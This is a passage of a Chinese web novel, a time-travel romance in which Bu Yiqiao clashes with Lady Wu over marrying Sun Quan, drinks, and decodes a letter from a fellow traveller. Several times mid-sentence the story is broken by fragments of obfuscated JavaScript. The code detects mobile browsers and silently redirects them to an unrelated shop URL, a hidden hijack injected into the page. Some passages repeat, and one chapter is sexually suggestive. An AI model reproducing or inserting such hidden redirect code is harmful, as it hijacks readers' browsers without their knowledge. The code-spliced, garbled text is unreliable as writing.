步一乔也渐渐有些装不下去,她刚想开口说点什么挽回一下局面,却见孙权一步步朝她走来。心生诡计,步一乔索性抢先行动,利落地一个转身,抬步就走。 “去哪儿?” “夜深了,自然是回房歇息。主公也早些回自己的厢房安寝吧,明儿见!” 她刻意加重了“自己的”三个字。 然而,没等她走出几步,手腕便被一只温热有力的手掌攥住。 孙权稍一用力,便将她轻轻拽了回来。她猝不及防,转身时差点撞进他怀里,慌忙间抬头,正对上他低垂的视线。 “利用完了我,便想一走了之?” “主公这话从何说起?孙辅将军之事,您依法裁决,英明神武,与我何干?我不过是……恰巧路过,说了几句公道话。” “公道话?那番要去豫章的‘公道话’,也是说与我听的?” 步一乔语塞,眼神开始飘忽。 见她如此,孙权自知她是无心之言,就此罢了。 “走吧,”他不再看她,牵着她的手,自然而然地转向厢房方向,“我送你回去。” “送我?你还有要事要办?” “嗯,得办,顺便撒撒气,叫你欺负我。” 步一乔先是愣住,随即发自内心地笑出声来,任由他牵着手,指尖在他掌心挠了挠。 “孙权!你讲讲道理,到底是谁欺负谁啊!” * 孙贲返回豫章,带走了孙辅,依言软禁于豫章郡府,由其兄长监视。因孙权令中未提及其子嗣,孙辅的儿女们得以幸免,后来亦在东吴出仕。 直到事发至此,步一乔才幡然醒悟。 “我好像……又改历史了。” 原本历史中,孙辅被囚禁数年后,因念及亲人,幽闭而终。可若关押在兄长身边,孙辅或少了思念,不至于早逝。 “权当救人一命吧,了却兄弟之间的相思之苦吧。” 徐夫人煮了热茶,斟一盏推到她面前,柔声道:“多谢步姑娘挺身相助,让此事落得圆满。” “夫人的母族可还安好?” “已寄去书信问候。孙辅虽出言警告,但曹操何等聪明,怎会轻信?” 言罢,徐夫人忽然起身,毫无征兆地伏地叩首。步一乔茶盏刚送至唇边,惊得赶忙放下,也一同跪了下去。 “夫君与我酿下大错,姑娘不仅相助隐瞒,更涉险追查真相……妾身不知何以为报!” “赠人玫瑰,手有余香嘛,夫人快起来!这若被人瞧见可如何是好?” “至少容我夫妻二人报答姑娘,否则……” “真的不必!您看,我如今安然无恙,已是幸事——” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16803244|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >徐夫人再度叩首,言辞恳切。步一乔四下张望,慌得去扶她起身,却听一道沉稳的声音自身后响起: “这是做什么?” 两人蓦然回首,只见吴夫人由侍女搀扶着立在庭前。步一乔顾不得臂上伤势未愈,忙拉着徐夫人一同行礼。 吴夫人目光扫过神色惶惶的二人,并未多问,只淡淡道:“徐氏暂且退下,我与步姑娘有话要说。” “是。” 待徐夫人离去,吴夫人在步一乔身前的石凳上坐下。 “仲谋晌午来找我,谈及婚事。老身有些话,想与步姑娘说个明白。” 步一乔浑然不知此事,不过此前答应孙权,若案件落幕,二人便成亲。当初似乎还加了什么条件?但她不记得了。 “若在从前,仲谋屡屡拒婚,我也不会多言。只望他好好辅佐伯符,守住他父亲与兄长以命换来的基业。”吴夫人话音微顿,掠过黯然,“可如今变了。伯符走了,仲谋成了家主,是这江东之主。” 她轻叹一声,继续道:“我年事已高,身子一日不如一日。若在我闭眼之前,仲谋仍这般形单影只,教我如何安心?好在……他相中了你,总算动了成家的念头。” 步一乔预感到,前面的话不过铺垫,接下来吴夫人要说的,才是重中之重。 “但你一无声誉家世,二为寡妇之身。仲谋娶你,于他、于江东,毫无益处。” 步一乔垂下眼眸,默然不语。 吴夫人凝视着她,语气渐沉:“仲谋年少继位,内外皆有疑虑,恐他无力守住父兄基业。你若真心待他,就当知,这桩婚事,不能儿戏。” “老夫人所言,一乔明白。于我而言,仲谋也并非只是‘江东之主’。是愿以余生相伴的爱人。” “情意固然重要,但身在其位,许多事便由不得他,也由不得你。”吴夫人语气放缓,却更显分量,“我且问你,你以何身份站在他身侧?无母族扶持,无名望加身,当流言四起、内外交困时,你当如何自处,又如何助他?” 步一乔默然片刻,并非退缩,而是在认真思索。 “爱意在现实面前不堪一击。当宗室非议、老臣质疑时,你的一片真心,可能为他换来半句支持,还是半石粮草?” 步一乔感到一股无形的压力笼罩下来。她稳住声音,沉住气。 “一乔虽无家世,但正因如此,我与江东任何势力都无瓜葛,身家清白,心中唯有仲谋一人。这难道不也是一种‘稳妥’吗?我不会成为任何一方势力在内庭的延伸,只会是纯粹属于他的力量。” 吴夫人微微摇头,嗤笑道:“张昭先生说得没错,你确实是个聪明的孩子。这天下终究是男人的。男人在前线浴血,女人帮不上忙。我们不过筹码,是连接家族的桥梁,除此以外,别无他用。” 步一乔迎上吴夫人的目光,道:“夫人此话,也包括自己吗?” “自然。” “孙坚将军当年白手起家,开创基业;孙策将军十八岁领兵,横扫江东。这每一寸江山,夫人当真觉得与自己毫无关系?” 吴夫人端坐的身形几不可察地微微一震。 步一乔不退反进,愈发激进,忘了身份。 “夫人还记得自己姓什么吗?还记得吴氏在江东是何等地位吗?恕我直言,当年若没有夫人毅然下嫁孙坚将军,以吴氏之力鼎力相助,孙氏绝无今日基业。” 吴夫人的指尖在袖中收紧。 她看着眼前的少女,仿佛透过时光看见了当年的自己,那个在吴氏宗亲反对时,一力主张押注孙坚的吴家女儿。 但她现在是孙氏的主母。 “好一张利口。你既提起往事,便该知道,正是因为我清楚自己肩负着吴氏与孙氏两族的兴衰,才更明白何为取舍。” 吴夫人缓缓起身,居高临下地凝视着步一乔。 “仲谋今日能为你破例,来日便能因你授人以柄。你的存在本身,就是他最大的软肋。” “夫人——” “你以为我在与你商量?”吴夫人打断她,一寸不让,“我今日见你,是给你体面。若你执意不肯离开,待到他日群臣联名上书,你猜仲谋是保你,还是保这江东基业?” 步一乔脸色微白,“孙权他……不可。” “你是聪明人。话,不必说得太尽。” 吴夫人转过身。 “想好去路,我会助你一程。步姑娘你,必须离开江东。” 69. 月落空门 前夜。 “走吧,我送你回去。” 孙权牵着上步一乔的手,自然而然地转向厢房方向走去。他步调刻意放得很慢,迁就着她还有些虚浮的脚步。 “送我?你还有要事要办?” “嗯,得办,顺便撒撒气,叫你欺负我。” 步一乔先是愣住,随即发自内心地笑出声来,任由孙权牵着手,指尖在他掌心挠了挠。 “讲讲道理,到底是谁欺负谁啊!” 她望着孙权笑得恰如寻常少年的侧脸,心头一暖,自己也像回到了懵懂年岁,忘了所有顾忌。突然拽住他的手,雀跃地奔向院中空地。 “啊!好痛!” 手臂的伤似乎落下了病根,一用力便会疼。步一乔苦笑着哀嚎,孙权见她哭笑不得,满脸无奈地托住她手肘。 “你啊,这般莽撞,日后如何担当主母之责?” “谁?我?主母?”步一乔靠在他臂弯里先笑为敬,“你看我哪有半点主母的样子?” “是啊,”他故作沉吟,“这可如何是好?” “还能怎么办,你娶氏族家的大小姐,不就行了?不过嘛——” 步一乔倏地转身撞进孙权怀里,额头抵着他的胸膛。 “我才不要你碰别的女人,只许碰我。不管是哪儿,厢房也好,书房也罢,哪怕是在这儿,也只许你碰我。” 孙权突然捧起步一乔的脸,在冬夜白雾里准确衔住两片唇。待她呼吸不上来,软绵绵地靠在他胸前喘息时,才低笑着开口: “当然。只与你。” * 晨光透过窗棂,孙权站在母亲院外,自觉地整理了下衣袖。踏入室内,吴夫人刚放下汤药的碗。 “仲谋来啦。” “来看望母亲,进来身子可好些?” “也就那样吧,许是你父亲想我,催我去寻他了。” “孩儿却盼母亲长命百岁,只好请父亲多等些时日了。” 吴夫人轻笑:“整日整夜有人陪,你哪里需要母亲?” “孩儿今日正为此事而来。” “是与那位步姑娘有关?” “是。孩儿想娶她为妻,望母亲准许。” 室内静了一瞬。 “可以。” 孙权心头一松,唇角刚扬起,吴夫人接下来的话却让他僵在原地。 “纳为妾室,择个吉日正式迎入府中便是。” 他怔住,几乎以为自己听错了:“母亲,儿子是说,明媒正娶,她为我正妻。” “我听得清楚。正因如此,才更要告诉你,她的身份、地位,只可为妾,不可为妻。此事没有商议的余地。” “母亲!” “谢氏一直想同我们联姻,他家姑娘也因你待字闺中多年。你想娶步一乔,可以,但前提是她为妾,谢氏为妻。” “孩儿不答应。” “那就不必再谈什么准不准!” 吴夫人声调陡然拔高。 “你如今是江东之主,你的正妻岂能由着你个人喜好?她一介孤女,无宗族倚仗,无显赫声名,你让她如何服众?那些跟随你父兄、跟随你出生入死的文臣武将,会如何看待一个来历不明的女子成为他们的主母?” “孩儿不需要靠姻亲来稳固权势!”孙权斩钉截铁。 “你需要!”吴夫人霍然起身,“你以为孙家有今日,靠的只是命?昨日我还在与先生商议,欲为你求娶陆氏之女。江东各大氏族家的小姐,哪个不能在你需要时倾力相助?你娶她,除了满足一己私情,于江东何益?” “一乔不是普通的姑娘!”孙权整理好情绪再次开口,“母亲,孩儿心中,唯她一人。若不能娶她为妻,我宁愿——” “宁愿什么?”吴夫人厉声打断他,“宁愿不要这江东基业?你父兄在天上看着,你就是这般回报他们的?!” 她走到孙权面前,看着他紧绷的脸庞和泛红的眼眶,语气稍稍放缓。 “母亲是为你着想,为江东着想。你如今不是伯符身边的将领,是他托付江山的君王。仲谋,你现在觉得情意重过一切,可待他日群臣非议、内外交困时,将她置于风口浪尖,你必然悔不当初。” 她将手轻轻按在儿子僵硬的臂膀上。 “你若真为她好,便给她一个安稳的容身之所。妾室之位,已是破格。也是母亲,所做的最大让步。” 孙权始终垂眸,一言不发。 门外,步一乔靠着墙壁,双眼空洞。 吴夫人说的话她何尝没想过,正是预见到这般局面,她才屡屡拒绝孙权的求婚。 没想到今早孙权说“有事要办”,竟是来向母亲摊牌。 此刻她只后悔自己不该一时好奇跟来。 步一乔叹息着抬眸,望向远处站在洞门后的女子。对上视线,步一乔听见屋中的男子低沉着嗓音,说了句“孩儿明白了”后,抬脚离开吴夫人的厢房。 望着孙权离开的背影,步一乔转身往后院去。 徐夫人正在亭中为孙翊缝补衣裳,步一乔坐在她对面。抛开方才的愁绪,步一乔想了些别的,和徐夫人在亭中上演了出报恩大戏,恰好被出来透气的吴夫人撞见。 “你以为我在与你商量?”吴夫人打断步一乔的话,“若你执意不肯离开,待到他日群臣联名上书,你猜仲谋是保你,还是保这江东基业?” 步一乔脸色微白,“孙权他……不可。” “你是聪明人。话,不必说得太尽。” 吴夫人转身离去。 “想好去路,我会助你一程。你,必须离开江东。” * 待吴夫人离开,徐夫人又从暗处出现,看着步一乔无精打采地走来,顿时全明白,牵着她的手往厢房中引。 “喝点热茶?还是,我叫人取酒来?” 步一乔坐在徐夫人厢房中的暖炉旁,苦笑道:“我不怎么饮酒。但,今日想一醉方休。醉到不省人事,畅快睡一觉。” 徐夫人会意地点头,转身吩咐侍女。不多时,一壶温好的酒并几样小菜便送了上来。她亲自斟了一杯,推到步一乔面前:“这是江南的米酒,不烈,尝尝。” 步一乔接过酒杯,指尖在杯沿轻轻摩挲,忽然轻声问:“徐夫人,你说我们女子,是不是注定要活在别人的期望里?哪怕做了再多,传给后世的,顶多一句话,还不见得有人注意。” 徐夫人微微一怔,在她身旁坐下,也给自己斟了一杯。酒液入喉,她才缓缓道:“生于乱世,本就不易,不分男女。” 步一乔望着杯中晃动的白,仰头将酒一饮而尽。 “一点都不辣,有没有烈一点的酒?” “我担心你……当真没问题?” “试试看吧。”步一乔扯出一个笑容,“放心,我惜命得很,还舍不得这么年轻就香消玉殒。” 徐夫人凝视她片刻,终是轻叹一声,唤来侍女:“去取那坛会稽老酒来。” 待侍女抱来酒坛,步一乔已经微醺。她托着腮,眼神迷离地望向徐夫人。 “徐夫人……啧,怎么也是徐夫人。夫人名什么?我叫你名字吧。” “媛。徐媛。” “徐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16807870|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 媛……果真人如其名。”步一乔又饮下一杯新斟的烈酒,“夫人擅长占卜,有预知过自己的将来吗?” “天命不可窥,知晓了,又能如何?”徐媛为她斟满酒,“就像明知这坛酒会醉人,你不还是想尝?” 步一乔轻笑出声,笑声里带着几分苦涩。 “是啊,明知是场鸿门宴,却仍偏偏,甘心赴宴。”她又看向几杯下肚,仍面不改色的徐媛,“夫人呢?若是将来某日,你预感到三公子有难,劝他别去,他不听,惹来杀身之祸,你会如何?” 徐媛执壶的手微微一滞,她抬眸看向步一乔,笑道:“姑娘此问……倒像是知道些什么。” 话虽如此,徐媛还是认真思索起来。 “若真到那一步……夫妻一场,许会替夫君报仇吧。” “嗯……是的。” 后来的徐媛,也的确这么做的。 此刻坐在步一乔对面的女子,将来会亲手为夫报仇,在这个男权当道的时代,完成一场惊世骇俗、计划周密的复仇。 徐媛见步一乔神色恍惚,不由莞尔:“怎么倒像你已经看见了似的?难道正如天命所说,姑娘来自千年之外?” 步一乔仰头饮尽杯中酒,烈酒灼喉,却让她格外清醒。 “夫人的占卜之术,到底准不准?你说我与他孙权是命定的姻缘。无法一生一世一双人的姻缘,也能算姻缘吗?那不叫夫妻,叫……夫妾。世上哪儿有这个词。” “步姑娘醉了呢。” “我很清醒。”步一乔指尖叩着心口,“二十一年来,我一直都很清醒。知道自己想要什么,就去争取什么,改变什么。若是失败,也能理所当然地接受。” 无法改写孙策的命运,保不住腹中尚未成形的孩子,她都能接受。 “可是……为什么我无法接受他和别人在一起……明明我比谁都清楚,将那些个夫人的名字倒背如流……可我为什么……” 泪水无声地滑落,在檀木桌案上晕开深色的痕迹。 “为什么这里会这么痛?脑袋要炸开了……好痛苦……” 徐媛将手覆在她颤抖的肩上,无声地叹息。 “只怪生不逢时吧。或许轮回以后,几百几千年后,步姑娘所望的一生一世一双人,会实现的。” 此生,恐怕没有机会了。 步一乔抬起哭花的脸,就着酒壶将半壶酒一饮而尽。漫出的酒液打湿了衣裳,辛辣刺喉,哭得更厉害。 “怪我……若是伯符称王,孙权为臣,一切都将圆满……” 若他不为君王,便无需承担如此重责。 酒意翻涌间,她仿佛又看见紫发髯碧色眼眸的少年在廊下回头,对她展眉一笑。 “自欺欺人罢了……我改写的哪里是孙吴历史……是孙权这个人啊……” 若自己从未出现,孙权依然是那个冷静自持、少年老成的江东之主,不会为情所困,不会进退两难。 “吴夫人说得对,我只可为妾,不可为妻。我做不了他的妻子,无法成为孙氏的主母……” “步姑娘……” 徐媛心疼地看着她,正想出言安慰妾室也未尝不可时,步一乔摇摇晃晃地撑着桌案起身,朝门外走去。 寒风吹得她东倒西歪,差点站不稳。身前的衣裳湿漉漉的黏在身上。落雪了,这副身子骨根本经不住,骨头疼,心脏更疼 望着孙府一派景象,以及院中男人情绪复杂的眼睛,步一乔迷离眼神,唇瓣微张颤抖,大颗的眼泪不自持地落下。 “我步一乔此生不愿为妾。若不成妻,便就此别过。” 70. 春日不迟 门外不知何时,已悄然落雪。 步一乔抬手抹去眼角残泪,扬起一个破碎却倔强的笑容,迎向阶下那双沉静的眼眸。 “我步一乔此生,宁为寒门妻,不做侯门妾。若不成妻,便就此别过,永生不复相见!” 孙权不知在雪中伫立了多久,肩头覆了一层细雪。他抬起冻得发红的手,想要触碰她的脸庞,却怕她躲开,在半空中停住,最终只是沉声道:“我从未想过要你为妾。” 徐媛快步追出扶住差点踉跄倒下的步一乔,轻声道:“麻烦二哥了。” 她紧紧攥着步一乔的手臂,生怕她一不留神就朝前摔下去。 “嗯,有劳弟妹。” 方才命人取酒时,徐媛小声交代侍女,去将孙权喊来。她看着步一乔的模样,心疼得心酸。 孙权从徐媛手中接过醉醺醺的步一乔,熟练地将她搂入怀中打横抱起。 “这是喝了多少?” “半壶酒。”徐媛低声答道,“方才说的都是醉话,二哥莫要放在心上。” 步一乔在熟悉的怀抱里不安分地挣扎起来,双手胡乱推拒着他的胸膛。 “酒没喝完,放我下去!不,我要走了,离开这个伤心恼火之地……” “走去哪儿?这世间万千山河,无一处能比上你在我身边。” 她醉眼朦胧地揪住他的衣襟,嗤笑道:“你以为说些情话我就高兴吗?孙权,你听清楚了,我此生——” “不做妾。”孙权抢过步一乔的话,“我孙权此生,从未想过要让你做妾。” 他的每一个字都掷地有声,风雪交加也格外清晰。 “做妻,然后看你娶一堆老婆,与其他女子举案齐眉吗!” 步一乔愈发激动,攥着孙权的衣领拉扯,撕心裂肺地哀嚎。 “我是什么大度的女人吗?甘心看着你和别人旖旎春事,还要笑着生活在一个屋子里和她们分享我的夫君吗!” 雪花落在她滚烫的脸颊上,瞬间融化。孙权任她在怀中发泄,柔声道:“不会有别人。” 奈何此刻的步一乔听不进任何话。 “你为什么要去提娶妻一事?我知道……你明知道我配不上你孙仲谋夫人的位置……” 步一乔的哭声渐渐低了下去,变成断断续续的抽泣。 “为什么还要让吴夫人一字一句地来告诉我!!” “没有别人。从来只有你。” “你孙权的夫人嫔妃那么多!各个贤能淑德、家世显赫,我爹妈甚至连公务员都不是!” “从遇见你的第一眼,到之后无数次重逢,从来只有你。” 他的指尖拂去她发间的落雪,低沉的嗓音中暗夹着沙哑。 步一乔哭得像个委屈可怜的孩子。 “我不要做你的夫人……我要离开你……我明明已经下定决心要走的……你为什么要来……” 孙权在廊下停住脚步,低头凝视怀中哭得梨花带雨的人儿。 “因为有人说过,若是被流放千里之外,我会舍不得。更何况这段距离,何止千里。” 是千年。 步一乔的哭声戛然而止,怔怔地望着他。 “你……你不许再说话了!”她用力捶打他的胸膛,力道却软绵绵的,“不许再说让我心软的情话了……” 孙权轻笑着将她往上送了点,抱得更稳,抽了抽鼻子,压下心酸温柔谴责。 “酒鬼。害我找你半天。” 步一乔委屈地哽咽:“我人生第一次喝酒……喝与不喝……都很痛……” 孙权将她往怀里又拢了拢,踏雪前行。 “我知道。抱歉,又把你弄哭了。” * 孙权抱着步一乔踏进温暖的厢房,用脚轻轻带上门,将风雪隔绝在外。他小心地将她放在榻上,正要起身去取干净的衣裳给她换上,却被她拽住了衣袖。 “又走……你又要走……”她醉眼朦胧地望着他,眼角还挂着泪珠,“我要不变成男子,做个文官,天天待你身边吧。” “说什么傻话呢,变成男子,如何做我夫人?”孙权坐回榻边,仔细为她拭去脸上的泪痕和雪水,“我不走,你身上被酒打湿了,得换下来。” 步一乔却顺势滚进他怀里,把发烫的脸贴在他胸前。 “你直接将我扒干净,该干嘛干嘛,换什么衣裳!趁我现在神志不清,将我干到昏天黑地啊!年轻人正是精力旺盛的时候,快啊!” 孙权动作一顿,呼吸明显重了几分。他低头看着怀中人酡红的脸颊,只差一点便失了理智。 “喝点酒就变成这样吗。” 步一乔不安分地在他怀里扭动,手指胡乱扯着他的衣带。 “你不是要赔罪吗?就这样赔……让我明天起不来榻……” 孙权倏地握住她作乱的手,呼吸加重。 “你明日醒来若是忘了,我可要伤心了。” “不会忘……至今与你交融的每一次,我都记得清清楚楚……” 步一乔醉醺醺地凑近他耳边,似只暖呼呼的猫,软软地蹭着孙权,气息拂过他颈侧。滚烫的手成功解开他的衣带,开始对着结实的胸腹上下其手。 “好舒服……” “什么?”孙权的声音已经哑得不成样子。 “你的肉……摸着好舒服。”她醉眼迷离地赞叹,手指不安分地划过他紧绷的肌肉。 “……” 孙权是真万万没想到,步一乔喝点酒会变成这般模样。他一时不知该气还是该笑,只得按住她四处点火的手,以防事情发展到一发不可收拾的地步。 “看来以后真不能让你沾酒。” “凭什么!我全身上下你都摸遍了,亲遍了,我摸摸你怎么了!”她不满地嘟囔,另一只手又不安分地摸上他的腹肌,“好紧实的……肉唔嗯——” 话音未落,她的唇已被封住。步一乔在醉意中轻颤、娇嗔,抬起双臂紧紧地环住孙权的脖颈。紧贴的唇舌难分空隙,深深地抵触着来回推拒、交缠。口腔中残留的酒液似乎渡入另一人口中,迷醉了清醒之人。 “仲谋……仲谋……我好痛苦啊……” 她在换气的间隙轻声唤他,不知不觉又哭起来。 “我不想你娶别人……哪怕我不嫁给你,也不想你和别人成亲……” “嗯,不娶,只娶你。” 孙权吻去她眼角的泪,动作轻柔得不像话。 步一乔却哭得更凶了。 “可是他们不会同意的!他们不要我们在一起……他们要你和别的女人……和一群女人在一起……” 边哭,手上还摸着,从胸腹到臂膀。年轻健壮身体上,遍布她的指纹。 “我讨厌这个时代……讨厌这些规矩……更讨厌明明知道结局却舍不下你的自己……” 不该这样和你沉沦入万劫不复,再无法拔|出。 孙权脸上的笑意更甚,宠溺地望着她,一遍一遍擦掉她的眼泪。 “你何时这般心悦我的?” “我不心悦你……” “嗯?” “我爱你。” 孙权的手顿在半空。步一乔醉眼朦胧地望着他,重复道:“孙权、孙仲谋、仲谋、二公子、主公、陛下……我不心悦你,我爱你。” 她凑近他,手掌抵着他的胸膛将人推倒,而后坐在他身上,俯下身,带着酒气的呼吸拂过他的脸庞,耳鬓厮磨。齿尖咬着他的耳垂,像小兔子啃食胡萝卜似的,哒哒哒地啃咬。 空着的那只手也没闲着,指尖先是好奇地描摹他锁骨的形状,然后顺着胸膛的线条缓缓下滑,在腹肌的沟壑间流连忘返。 孙权心下想,这是什么举动?罢了,随她去吧。 步一乔啃咬完一边,转向另一边继续,完事后喃喃道:“好硬……” “……什么?”孙权害羞地反问,以为暴露了什么。 明明隔了段距离,她不该感觉得到才对。 “你的耳垂……好硬,咬不动。” “是想吃进肚子里吗?” “想吃……吃你的……” 视线下移,步一乔盯着孙权起伏的胸膛,忽然将整张脸埋了进去,深深吸气。 “是我喜欢的味道……特别喜欢……”她满足地喟叹,随后伸出舌尖,品尝珍馐般舔过他的肌肤。 突如其来的触感让孙权浑身一颤,发出一声闷哼。 “一乔你……” 她却不自知,继续着自己的探索。手指穿过他的发间,转动着缠绕上指尖;掌心贴着他的脖颈,感受着脉搏的跳动;膝盖轻轻蹭着他的腿侧,对于任何情况浑然不觉。 “想吃……把这里吃掉……”她重复着,这次将唇贴在他心口,狠狠咬下一口,留下一圈齿印。 孙权既想阻止,又贪恋如此主动的步一乔,万不可打乱兴致。 可身子是难耐的,浴火焚烧。几番折磨后,终于忍不住翻身将她压在身下。 “告诉我,到底是谁教你的?” “小电影。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你是说……小时候?” 幼时走失,害怕爸爸找不到自己,便坐在奶奶的坟前等。后来听爸爸说,他去坟前看过好几遍,都不见人影。 穿越的条件与死亡有关……坟冢…… 一个不可思议的念头如电光石火般劈入脑海。步一乔猛地从他怀中抬起头,一双眸子却亮得惊人,紧紧盯住孙权。 “……不会吧?” 世上怎么可能存在如此命中注定的事情?! “喜欢兵书史书的孙仲谋,忘记曾经答应过谁选择历史系的步一乔……难道我们……当真从前就认识?!” 崇尚科学理智的步一乔,许是眼下被酒蒙晕了头,把孙权的胸口当成墙壁一个劲儿地往上撞。 “想起来!想起来!” 孙权心口软乎乎的,轻笑一声,抱着步一乔的脑袋在她发顶蹭了蹭去。 “瞧你这样,闹心的事儿也暂且抛之脑后。” “闹心的事儿?何事?” “今日,张昭先生给了我一封从邺城寄回的密函。” 步一乔当即明白孙权话中的含义,直接开口骂道:“叛徒……” 孙权揉着她滚烫的脸,道:“先生也是担心密函有何不妥之处,才将其交于我的吧。” “所以你看了?” “嗯,看了,看不懂。” 步一乔歪头疑惑。孙权从衣襟内衬处取出密函递上。 “究竟是何方国度的文字?我甚是好奇。” 步一乔看着密函上的内容,平生第一次感觉到了做间谍的快乐,只有互通暗号之人明白点的乐趣。 她在被褥上展开密函,指着上方的文字。 “通篇只有四个字母,其余的,没发现都长得一样?这叫感叹号。” 孙权不解。 步一乔颇为骄傲地昂首挺胸,道:“来来来,古有‘孙权劝学’,今有‘一乔劝学’。在未来,人们书写内容,为了让读者更好地阅读,会使用标点符合分隔开,以及加入情感。” “嗯……所以这是代表何等情感的符号?” “震惊。这么多感叹号,就代表非常震惊。” 孙权连连点头,指着开篇的四个字母又问:“那这四字是何意?” “这是英语字母,距离咱们几百万公里外的民族用的。看似四个字,其实一个词。翻译成古文的话……” 步一乔沉吟着思考用什么翻译更为恰当,于是她想到了《论语·子路》中“噫!斗筲之人,何足算也”之顿愕。随即发出似悬崖勒马之声。 “噫!” 来自邺城的回信,书信人甄霖。 “What!!!!!!!!!!!!!!!!” 71. 啊 简单的密函,确认此时在邺城袁氏家里的甄宓,正是甄霖。 不过,她的曹姓男友去哪儿了?总不能在许都,曹操家里的吧…… “真是的,我写了两百多个单词,她就回我一个词!不知道古时候车马很慢,回一条消息要几个月吗!” 步一乔模仿巨居蟹的样子趴在被窝里,将甄霖的密函猛地想拍在枕头上,砰地一声,力道过大,抬手的时候一巴掌扇在身旁还在熟睡中人的侧脸。 “呃啊!” “啊!!!对不起对不起!痛不痛?” 步一乔又是心疼又是想笑,忙凑过去揉他的侧脸。 孙权被她这一巴掌打得睡意全无,无奈笑着翻过身,两个人并排趴着裹紧被褥。 “所以,甄霖好友在邺城安然无恙?” “人是没事,可她那位曹姓男友却下落不明。你说,他会不会真在许都?真是……曹丕?” 两个人一同在北山消失,却一个在邺城,一个在许都?结合自身的穿越经历,这个假设是不成立的。除非……自己从一开始就哪里搞错了。 “孙权,你说,小时候在某个山洞经历了什么,那山洞在哪儿?” “在庐江。” “庐江?!” 步一乔的老家正是庐江。模糊久远的记忆,隐约浮现。 当她正想开口征求孙权下次去庐江时,将自己带上,紧闭的房门毫无征兆地被从外推开。以为是风,结果携风而来的是满脸怒火的吴夫人,身后还跟着两名垂首不敢直视的婢女。 “母亲?!” 孙权瞬间坐起身,来不及捞过外袍穿上,只穿了条底裤坐在床沿,将步一乔护在身后。 “未婚男女,同榻而眠,成何体统!” 步一乔攥紧被角,尚未开口,吴夫人已步步逼近。 “步姑娘,你若还知些礼义,此刻便该起身,离开我儿的寝居。” “抱歉吴夫人,一乔此时的状态若是起身行礼,更坏了礼数。” “你——!你们居然——仲谋!你竟如此不知轻重!我从小是怎么教导你的!” 孙权肩背一僵,却将身后的人护得更紧。他深吸一口气,迎向母亲震怒的目光。 “请母亲息怒。仲谋此生只想与一乔携手白头,还望母亲成全!” “要我孙氏娶一个来历不明、风流龌龊之人!你是想丢了江东之主的位置,让孙氏成为众矢之的吗!” “母亲!正因儿子是江东之主,难道连择一良配、共度一生的资格都没有吗?” “我说过,妾室随你娶,正妻,必须是得对你,对江东有用之人!” 孙权脸色骤变,正要开口,步一乔却轻轻按住他的手臂。她直起身,锦被从肩头滑落,露出颈间锁骨附近一抹抹暧昧红痕。 只一瞬间,就被步一乔及时扯过衣裳盖住。 “吴夫人,您说的对,礼数不可废。贸然闯人厢房,又是这个时辰,也不能怪我们无礼,实在措手不及。” 这话让吴夫人气得倒抽一口气。 步一乔继续道:“正因知礼,我才更不能在此刻起身,若让府中下人看见未来主母衣衫不整的模样,损害的才是孙家的颜面。” 她目光坦然,姿态不卑不亢。 “我与孙权两情相悦,发乎情,如今确实需要止乎礼。待梳洗整装后,一乔自当向夫人正式请罪。至于来历……我步一乔绝非不明不白之人。若夫人愿意给个机会,我自当证明,仲谋选的不仅是个妻子,更是个能与他并肩而立的人。” “呵,孙权?”吴夫人冷笑,“你是他什么?敢直呼他姓名?” 步一乔心呼呜呼。习惯了叫他全名,忘了这是个叫全名还要分身份的时代。 尴尬地清了清嗓子,步一乔欠身致歉道:“夫人教训的是。只是主公曾说,在他面前,我不必拘泥虚礼。若此举当真不妥,那或许……是该让他先改了这个习惯?” 她抬眼看向孙权,眼中闪过狡黠。 孙权立刻会意,郑重接话:“母亲,是儿子允她这般称呼的。在她面前,儿子只是孙权,而非江东之主。” 吴夫人看着两人一唱一和,脸色愈发难看。 “此前我还思量着,若你安分守己,或许能容你留在仲谋身边,做个妾室。现在,是你逼我的。” “只要我活着一日,你步一乔,就休想踏进我孙氏大门半步!无论是妻,还是妾!” 她又转向孙权。 “与谢氏的婚约我说了算,下月廿四,正式成婚!” * 吴夫人摔门离去,孙权仍坐在榻沿,肩背紧绷,沉默如铁。快速思忖着补救方法,如何劝母亲消气。 一旁的步一乔却神情恍惚,眼神发直,嘴里念念有词: “难道是因为这么狗血的事情,史书上才记载这门婚事是吴夫人亲自为你聘娶的?!” 孙权难以置信地看过来。这个节骨眼她竟然还能想到别出去?! 他几乎是咬着牙挤出这三个字。 “步、一、乔!” “啊?” 孙权气呼呼地盯着她,胸膛起伏。步一乔被他盯得愈发不自在,缩了缩脖子,干笑两声。 “突然亲眼见证历史,有点走神,忘了情,抱歉抱歉。” “见证历史?步姑娘倒是好兴致。母亲方才那关还没过去,你倒已想着青史如何评说了?” 步一乔自知理亏,悄悄往后挪了半分,嘴上却不肯服软。 “我这不是……劫后余生嘛。” “那你可知史书不会记载,我方才在母亲面前是如何为你力争?也不会记载你此刻……这般没心没肺。” 最后几个字,他说得极轻,却带着说不出的落寞。 步一乔这才注意到他紧握的拳和紧抿的唇,忽然意识到,自己方才的走神,对他而言是何等刺骨的忽视。 她伸手触到他紧绷的手背,声音软了下来。 “对不起,是我不好。你为我据理力争,我却……” 